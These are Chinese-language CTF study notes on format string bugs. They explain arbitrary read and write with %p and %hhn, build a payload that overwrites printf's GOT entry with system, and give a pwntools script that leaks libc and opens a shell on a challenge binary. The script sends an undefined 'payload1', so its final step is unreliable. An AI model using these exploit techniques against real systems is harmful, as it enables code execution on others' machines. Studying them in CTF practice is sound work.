參考部落格
[參考部落格]: https://blog.csdn.net/ysy___ysy/article/details/135700140
[參考部落格]: https://blog.csdn.net/2402_83422357/article/details/139180404
戳此切大佬部落格
https://blog.csdn.net/Morphy_Amo/article/details/122215773
https://blog.csdn.net/song_lee/article/details/103936833
!!!!https://www.yuque.com/hxfqg9/bin/aedgn4#WbamY
https://bbs.kanxue.com/thread-268850.htm
https://blog.csdn.net/mcmuyanga/article/details/113242453
https://www.cnblogs.com/hetianlab/p/15002398.html
https://www.cnblogs.com/VxerLee/p/16398761.html#任意地址記憶體覆蓋任意寫
格式化字串
漏洞
當printf()的引數含有格式化字串時就有可能洩露記憶體相關的東西,比如printf(buf)
利用它可以進行任意讀或任意寫
任意讀
首先我們要確定我們輸入的內容對應printf的第幾個
[方法]{.kbd .red}
輸入aaaa%p%p%p%p%p%p%p%p%p%p看程式對應輸出的是第幾個
64位程式是存在暫存器上rdi,rsi,rdx,rcx,r8,r9,然後是棧上,具體第幾個用gdb調
如輸出第五個引數可以寫為%4$s,第六個為%5$s,需要輸出第n個引數就是%(n-1)$[格式化控制符]。因此我們的payload可以簡化為”\x01\x80\x04\x08%5$s”
任意改
如果想要改整個地址
%n 一次性寫入4個位元組
%hn 一次性寫入2個位元組
%hhn 一次性寫入1個位元組
#思路:向 printf_got 中 寫入 system_plt
# 我們把 printf_got 最低位位元組 覆蓋成 0x60 一位元組 寫入 %hhn
# 我們把 printf_got 最低位位元組+1位元組 覆蓋成 0x83 一位元組 寫入 %hhn
# 我們把 printf_got 最低位位元組+2位元組 覆蓋成 0x04 一位元組 寫入 %hhn
# 我們把 printf_got 最低位位元組+3位元組 覆蓋成 0x08 一位元組 寫入 %hhn
payload=p32(printf_got) #0x60 # 偏移 為 7
payload+=p32(printf_got+1) #0x83 # 偏移 為 8
payload+=p32(printf_got+2) #0x04 # 偏移 為 9
payload+=p32(printf_got+3) #0x08 # 偏移 為 10
payload+="%"+str(0x60-0x4*4)+"c%7$hhn" #0x60 # 偏移 為 7
payload+="%"+str(0x83-0x60)+"c%8$hhn" #0x83 # 偏移 為 8
payload+="%"+str(0x104-0x83)+"c%9$hhn" #0x04 # 偏移 為 9 #由於是hhn所以會被截斷,只留後兩位
payload+="%"+str(0x8-0x4)+"c%10$hhn" #0x08 # 偏移 為 10
有一個還挺方便的函式payload = fmtstr_payload(偏移,{原地址:目的地址}) [但是好像只能是32位]{.kbd .red}
wp
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')
p = process('./ez_fmt')
#p = remote('127.0.0.1',46587)
elf = ELF("./ez_fmt")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
pop_rdi_ret=0x4012d3
payload = b"aaaa" +b"%7$s" + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload)
p.recvuntil('aaaa')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("printf_real_addr ---> ", hex(printf_addr))
libc=ELF('./libc.so.6')
libc_base=printf_addr-libc.sym['printf'] #libc的真實的基址=puts的真實地址-puts相對於libc基址的偏移量
bin_sh_addr=libc_base+libc.search(b"/bin/sh\x00").__next__()#'/bin/sh'的真實地址=libc基址的真實地址+'/bin/sh'相對於libc基址的偏移量
sys_addr=libc_base+libc.sym['system']
print("sys_addr:{}".format(hex(sys_addr)))
print("binsh_addr:{}".format(hex(bin_sh_addr)))
#payload2= b'%' + str(system_real_addr) + b'c' + b'%7$n' + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload1)
p.sendline(b'/bin/sh\0')
p.interactive()